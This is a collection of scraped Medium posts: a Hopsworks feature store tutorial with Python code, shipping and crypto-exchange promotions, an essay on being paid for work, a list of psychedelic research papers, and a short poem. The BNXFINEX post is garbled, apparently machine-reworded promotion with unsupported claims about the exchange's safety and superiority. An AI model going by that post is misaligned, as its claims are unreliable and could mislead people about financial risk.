When a feature store is available, the output of feature pipelines is cached feature data, stored in the feature store. Ideally, the destination data sink will have support for versioned data, such as in Apache Hudi in Hopsworks Feature Store. In Hopsworks, feature pipelines upsert (insert or update) data into existing feature groups, where a feature group is a set of features computed together (typically because they come from the same backend system and are related by some entity or key). Every time a feature pipeline runs for a feature group, it creates a new commit in the sink Hudi dataset. This way, we can track and query different commits to feature groups in the Feature Store, and monitor changes to statistics of ingested data over time.
You can find an example notebook for feature engineering with PySpark in Databricks and registering features with Hopsworks here.
Model Training Pipelines in Databricks start at the Feature Store
Model training pipelines in Databricks can read in train/test data either directly as Spark Dataframes from the Hopsworks Feature Store or as train/test files in S3 (in a file format like .tfrecords or .npy or .csv or .petastorm). Notebooks/jobs in Databricks can use the Hopsworks Feature Store to join features together to create such train/test datasets on S3.
Model training with a feature store typically involves at least three stages:
select the features from feature groups and join them together to build a train/test dataset. You may also here want to filter out data and include an optional timestamp to retrieve features exactly as they were at a point of time in the past; train the model using the training dataset created in step 1 (training can be further decomposed into the following steps: hyperparameter optimization, ablation study, and model training); validate the model using automated tests and deploy it to a model registry for batch applications and/or an online model server for online applications.
import hsfs
conn = hsfs.connection(host=”ea2.aws.hopsworks.ai”, project=”prod”)
featurestore = conn.get_feature_store() # get feature groups from which you want to create a training dataset
fg1 = featurestore.get_feature_group(‘fg_revenue’, version=1)
fg2 = featurestore.get_feature_group(‘fg_users’, version=2)
# lazily join features
joined_features = fg1.select_all() \
.join(fg2.select([‘user_id’, ‘age’]), on=’user_id’) sink = featurestore.get_storage_connector(‘S3-training-dataset-bucket’) td = featurestore.create_training_dataset(name=’revenue_prediction’,
version=1,
data_format=’tfrecords’,
storage_connector=sink,
split={‘train’: 0.8, ‘test’: 0.2}) td.seed = 1234
td.create(joined_features)
Data Scientists are able to rely on the quality and business logic correctness in published features and can therefore quickly export and create training datasets in their favourite data format.
You can find an example notebook for getting started with creating train/test datasets from Hopsworks in Databricks here.
Deploying the Hopsworks Feature Store for Databricks
The Hopsworks Feature Store is available as a managed platform for AWS (Hopsworks.ai) and as an Enterprise platform for Azure.
Hopsworks.ai for AWS
Hopsworks.ai is our new managed platform for the Hopsworks Feature Store on AWS. In its current version, it will deploy a Hopsworks Feature Store into your AWS account. From Hopsworks.ai, you can stop/start/backup your Hopsworks Feature Store.
The details for how to launch a Hopsworks Feature Store inside an existing VPC/subnet used by Databricks are found in our documentation. The following figures from Hopsworks.ai show you how you have to pick the same Region/VPC/Zone used by your Databricks cluster when launching Hopsworks.
You also need to expose the Feature Store service for use by Databricks, see the figure below.
For some Enterprises, an alternative to deploying Hopsworks in the same VPC as Databricks is VPC peering. VPC peering requires manual work, and you can contact us for help in VPC peering.
Enterprise Hopsworks for Databricks Azure
On Azure, by default, Databricks is deployed to a locked resource group with all data plane resources, including a virtual network (VNet) that all clusters will be associated with. However, with VNet injection, you can deploy Azure Databricks into the same virtual network where the Hopsworks Feature Store is deployed. Contact us for more details on how to install and setup VNet injection for Azure with Hopsworks Feature Store. An alternative to VNet injection is VPC, and you can contact us for help in VPC peering.
Learn more
Summary
A new key piece of infrastructure for machine learning has now arrived for Databricks users — the Hopsworks Feature Store. It enables you to centralize your features for ML for easier discovery and governance, it enables the reuse of features in different ML projects, and provides a single pipeline or engineering features for both training and inference. The Hopsworks Feature Store is available today as either a managed platform or AWS, so you can spin up a cluster in just a few minutes, or as an Enterprise platform for either AWS or Azure.
References
This article was originally posted on Logical Clocks’ Blog. | https://medium.com/data-for-ai/what-is-a-feature-store-for-ml-29b62580af5d | ['Jim Dowling'] | 2020-05-19 07:38:37.895000+00:00 | ['Machine Learning', 'Artificial Intelligence', 'Data Engineering', 'Feature Store', 'Deep Learning'] |
XSN Comparison Chart | Stakenet (XSN) revolutionizes the way cryptocurrencies are held, spent and staked.
Follow | https://medium.com/stakenet/xsn-comparison-chart-58035c8227 | ['Stakenet Team'] | 2018-12-07 14:38:10.399000+00:00 | ['Blockchain Technology', 'Xsn', 'Cryptocurrency', 'Technical Documentation', 'Lightning Network'] |
Streamline your eCommerce business with Shyplite and StoreHippo | The surge in online shopping has accelerated the expansion of e-commerce to new firms, customers, and product types. Adapting to the ever-changing trends, the logistics industry is moving towards automation by constantly evolving itself.
A deeper focus is now being placed on a technology-friendly, well-planned management method that will result in better efficiency. As per the reports, the Indian eCommerce logistics market is expected to grow at a CAGR of 18.8% from 2020 to 2027, reaching US$ 11.48 billion by 2027 from US$ 2.93 billion in 2019.
To keep the business growing, the seller must deliver products without any hassles and for such seamless delivery, e-commerce businesses must continually upgrade themselves so that a systematic flow occurs.
Shyplite integrates with StoreHippo
Together enabling eCommerce businesses with uninterrupted and seamless services, looking to expand into domestic and international markets.
About StoreHippo
StoreHippo is an enterprise-grade eCommerce software platform that offers flexible turnkey eCommerce solutions for a wide spectrum of eCommerce business models, including B2B, B2C, B2B2C, D2C, and enterprise brands. StoreHippo offers a fully integrated eCommerce platform with more than 300 inbuilt enterprise-grade features that help brands to go to market at a fraction of time as compared to building an online store from scratch.
Brands can create innovative and customizable omnichannel solutions and cutting-edge multi-vendor marketplaces with the help of StoreHippo, a leader in offering agile and out-of-box solutions. StoreHippo also offers comprehensive hyperlocal eCommerce solutions with the multi-store feature. Along with these, StoreHippo offers a host of inbuilt global eCommerce features for businesses looking to expand into domestic and international markets. StoreHippo’s headless commerce solutions is designed to help big brands go D2C in record time.
With StoreHippo’s customized solutions, the seller can integrate Shyplite on their plan seamlessly. StoreHippo’s innovative eCommerce solutions combined with Shyplite’s single gateway for all your shipping needs enables your brand to expand your eCommerce businesses exponentially.
Explore more at — https://www.storehippo.com/
Shyplite — A Single Dashboard For All Your Shipping Needs
Shyplite is an end-to-end logistics automation & fulfillment dashboard, trusted by more than 100k sellers, and can deliver goods to over 27000+ pin codes in India and 220 countries worldwide with 30+ courier services. The SaaS-based logistics platform facilitates API integration with well-known marketplaces & carts along with a dedicated customer support service. Your quest to find a trustworthy shipping partner gets over with Shyplite. Take your business global by switching to an aggregator that will provide you with one platform to grow your online business seamlessly.
Few salient features offered by Shyplite:
- Easy Tracking
We keep you and your customers well informed on the status of the package-in-transit through auto-generated email and SMS notifications.
- 30+ Courier Services
You can choose from 30+ shipping courier partners to ship your package.
- Best Customer Experience
Shyplite is just a call away for all your shipping-related concerns. Providing only the best solution from our shipping experts.
- No Commitment Or Subscription Fee
You pay-as-you-go. Multiple easy payment options. No subscription. No Platform handling fee. No Hidden Charges. What you see is what you get!
- Easy Integrations
You can Integrate your Shyplite account with various key Marketplaces, Carts, and Order Processing Platforms to strengthen your e-commerce business.
Try Shyplite’s Seamless Shipping! Get Started for FREE:
https://bit.ly/3y8eovh | https://medium.com/@shyplite/streamline-your-ecommerce-business-with-shyplite-and-storehippo-70495fddad05 | ['Shyplite - Your Shipping Gateway'] | 2021-09-09 06:29:17.455000+00:00 | ['Shipping', 'Ecommerce', 'Online', 'Aggregator', 'Automation'] |
Here Is Why You Should Get Paid for the Job You Do | Some of you reading the title of this article might find it very weird and unrealistic nowadays. But unfortunately, life is like gambling — it is difficult to predict, and what is obvious for us often pains us with an unexpected result.
I’d work even for free! No, you better don’t.
Based on the USA Today report, millennials want happiness more than money at work. Meaning that the generation between 25 and 35 would prefer to get paid less but do more valuable work than just accomplishing tasks.
It is not a secret that not everyone is lucky enough to work and even start a professional career with the job they love. Most people even start working in school or university times, on holidays, to have some pocket money and feel this financial independence. Students might ride from district to district by doing a courier job to save some money for personal purchases.
But some find the opportunity that meets professional requirements. Well, at some part of life, we all had this feeling of saying, “oh, I’d work there even for free!”. The possibility to say this phrase at the beginning of your career is quite higher than at any further career step.
That’s why we often have the mindset of “doing for money” and “doing for my soul,” and unfortunately, we often confuse those concepts. They are unplaceable wrong when it comes to the work you do for others. Also important to note, the fact that you do is already more important than the main reasons which strived you to do a certain job.
Lack of experience is not a sign of working for free.
Unfortunately, there are many cases when an employer makes privileged in providing a job opportunity for the candidate. It is ridiculous and leads to big problems in the future, but in the short term — even employees themselves might not see any potential threat in such kind of behavior.
Most early starters think that the absence of experience might be a valuable excuse for an employer to delay recognition or not perform any bonuses at all. That’s absolutely wrong. It damages the self-confidence and might cause problems in the future. There is nobody to be that inexperienced not to earn money.
We live in an age where unpaid internships are being banned to prevent unemployment among youth. That’s why it is tough to find excuses for an employer that tries to justify not to pay employees.
First of all, if you are a bad match for the requirements your employer has, then you wouldn’t be invited. Imagine how not bright is the future of the company you are working for if they sign you are knowing beforehand that you are not a good one? Yeah, barely someone would do that.
Secondly, you do a job, and recognition must arrive accordingly.
I’m shy to talk about money.
There are plenty of people at the interview stage who might behave uncertain to the question “what are your salary expectations?” by showing their inner desire to move to the next question as soon as possible. Difficult to highlight a specific reason for doing so. It can be a timid person or unprofessionalism.
Be that as it may, it is crucial to make clear the desired salary. Saying “don’t know” is equal to “lazy to google” in 2020. Please do yourself a favor, search for at least an average salary for the according to position, and sound it out.
There are plenty of salary calculators, enough to type it in Google. Reviews on Glassdoor, Quora, and similar platforms help you better understand the average salary of a candidacy similar to yours.
You will be whether accepted or offered a bit different contract by the employer. If negotiations will be failed, then it is the employer who couldn’t match your requirements, not vice versa. This difference should be known for every person willing to start a professional career.
Keep it legal
Like any other one, an employment contract is a must in the deals where are sums of money are somehow circulating. This should interest both to employer and employee. It is fundamental and must.
A company or startup you are working for might go through challenging times, having financial difficulties that might cause team productivity. This is an okay scenario through which went even the current digital giants. I’m sure it is also a powerful opportunity for an employee to show up his or her loyalty towards the company by contributing despite problems that been faced by the employer. It is also usually being highly valued by employers.
However, this all should not go above the employee contract. Meaning that all you have done has to be noted and considered no matter the company's size. This, at least, will guarantee any possible post payments.
Getting paid makes you more valuable.
Believe it or not, but if you do a job for free — you will never be that much appreciated as if it would be a paid job. What is more surprising is that you can deliver the same quality as if you would be paid, but the employer will never understand it. It won’t be countable.
Your attempts go past the checkout. Your deserved income won’t be considered in the financial predictions. Your payment will be always postponed to the better times.
Summary
Regardless of our personal values, vision, and goals, we strive for a certain material need for basic things in life. Saying they are not important is a lie. But the aim of this blog post is not to blame or teach anyone to love cash.
It is more about what kind of challenges employees can meet nowadays. This scenario comes more realistic in the pandemic period when finding a job is such a luxury thing that can be used by employers who prefer not to pay. | https://medium.com/@muradzamanov/here-is-why-you-should-get-paid-for-the-job-you-do-1c62aac8f0f8 | ['Murad Zamanov'] | 2020-12-27 14:37:15.163000+00:00 | ['Employee Engagement', 'Employee Experience', 'Money', 'Work', 'Human Resources'] |
Banking Making Easy With BNXFINEX | Introduction
The goal of bnxfinex is undeniable to outfit you with a huge overall experience got together with remarkable encounters from driving specialists. Bnxfinex.com ensures consistent innovation, progress, and sponsorship. The Bnxfinex bunch understands that standing is basic to an association about financial business. That is what rouses Bnxfinex to develop the most open to the trading atmosphere for all clients (paying little brain to individual or association).
BNXFINEX trading platform and application have become the most needed and supported exchange technology for those looking for trusted, secure, and guaranteed digital cash, similarly to exchanges. solution-orchestrated understanding.
As people started using Bitcoin and various other cryptocurrencies on account of decentralization, strength, and mission for imaginative advances that could open the backwoods and get cash, the ascent of Bitcoin and cryptocurrencies has made new cutoff points. Nevertheless, paying little mind to the intensity made by exchanges, the colossal shadows, and forex deals proceeded. Abundances have lost a huge load of its digital assets, and even platforms brag a reasonable bit of challenges and hacks that have impacted traders' sureness and gathering of cryptocurrencies. their overall number.
Exchanges are not, now set up in rapidly creating markets, so I'm happy to have a capable, secure, and clear association, alongside many trusted blockchain specialists, to go up against these drawn-out troubles. The imaginative platform is planned to handle issues related to the more broad cryptocurrency natural framework, the BNXFINEX Platform.
Advantages
• Best UI with BNXFINEX. Users will be fulfilled as they can coordinate continually and quickly. BNXFINEX gives throughout the day, consistently online customer uphold, ensuring that each customer's purchase is done gainfully and on time.
• In various markets, high liquidity is an ignored component. The gathering uses condition of-the-workmanship BNXFINEX technology to develop the fake market according to street business measures and build displayed assessment focusing on more than 250 market limits and 24/steady assistance 7 on high liquidity.
• Support for various cryptocurrencies is consolidated with BNXFINEX. BNXFINEX circulates and regularly records great cryptocurrencies around the world, which grants purchasers to exchange a wide variety of decisions for certain cryptocurrencies.
• Prosperity and trustworthiness are major considerations when figuring exchange rates. To understand a trustworthy system action, the multi-mode game plan meets the financial region's sensible IT control work.
• To broaden the scene and offer better help to clients, organization front-end and back-end gathering and send multi-point and multi-style scattering.
Critical business or market issues
• Least essential if an exchange isn't arranged. Liquidity is the primary factor for the trading volume. You are not allowed to buy something, yet you won't find suppliers or find clients. When will the exchange happen?
• Security is the principal test in trading the cryptocurrency world. Various humiliations have caused users to lose their speculation cash beforehand. Society doesn't need to relate and guarantee its assets.
• Cryptocurrencies exchanges should give boundless straightforwardness to clients, allowing them to guarantee and add to your venture.
The BNX Token is made subject to the ERC20 standard:
* Token Name: BNX Token
* Picture: BNX
* Outright Volume: 12.000.000
* Starting Cost: 1.1
Conclusion
BNXFINEX is the best exchange in the crypto market now and very soon when the arrangement will be done the platform will be a ton notable and it will, in general, be used for banking as well. here anyone can store his asset with no uncertainty and can without a doubt get to his cash from any spot whenever. The platform is many simples to use for all. the UI is a great deal basic for all and the financial specialist can acquire a ton of benefits from here.
Information About Bnxfinex:
Website: https://bnxfinex.com/#/market/index
Telegram: https://t.me/bnxfinexchannel
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Facebook: https://www.facebook.com/bnxfinex
Bitcointalk Username: Arikeola
Bitcointalk Profile url- https://bitcointalk.org/index.php?action=profile;u=2779823; | https://medium.com/@ayanfeola67/banking-making-easy-with-bnxfinex-31854a1d749b | [] | 2020-12-26 15:25:05.383000+00:00 | ['Trading', 'Bnxfinex', 'Exchange', 'Banking', 'Tron'] |
Trends in the Top-Cited Articles on Classic Psychedelics (Lawrence et al.) | Trends in the Top-Cited Articles on Classic Psychedelics (Lawrence et al.)
Published: Feb 3, 2021
Journal of Psychoactive Drugs
~
A case of sustained antidepressant effects and large changes in the brain with a single brief exposure to nitrous oxide (Desmidt et al.)
Published: Feb 4, 2021
The American Journal of Geriatric Psychiatry
~
Ayahuasca Use and Reported Effects on Depression and Anxiety Symptoms: An International Cross-Sectional Study of 11,912 Consumers (Sarris et al.)
Published: Feb 3, 2021
Journal of Affective Disorders Reports
~
Developing a new national MDMA policy: Results of a multi-decision multi-criterion decision analysis (Amsterdam et al.)
Published: Feb 2, 2021
Journal of Psychopharmacology
~
Relational Processes in Ayahuasca Groups of Palestinians and Israelis (Roseman et al.)
Provisionally accepted: Feb 3, 2021
Frontiers in Pharmacology
~
Low doses of psilocybin and ketamine enhance motivation and attention in poor performing rats: Evidence for an antidepressant property (Higgins et al.)
Provisionally accepted: Feb 3, 2021
Frontiers in Pharmacology | https://medium.com/@updatespsy/trends-in-the-top-cited-articles-on-classic-psychedelics-lawrence-et-al-a17309183067 | ['Psychedelic Science Updates', 'Updatespsy'] | 2021-02-04 15:11:52.606000+00:00 | ['Psychedelics'] |
Color Her Melancholy | Color Her Melancholy
Oh, melancholy
So, so not jolly
Yet nothing to do
But color her blue
Blue is a color
Unlike another
That color called red
An emblem of dread
She wants to be green
All fresh and serene
Alas, true folly
She’s melancholy | https://medium.com/illumination/color-her-melancholy-c55a24f7c4e2 | ['Terry Mansfield'] | 2020-12-07 15:10:04.490000+00:00 | ['Poetry', 'Feelings', 'Poem', 'Life', 'Colors'] |
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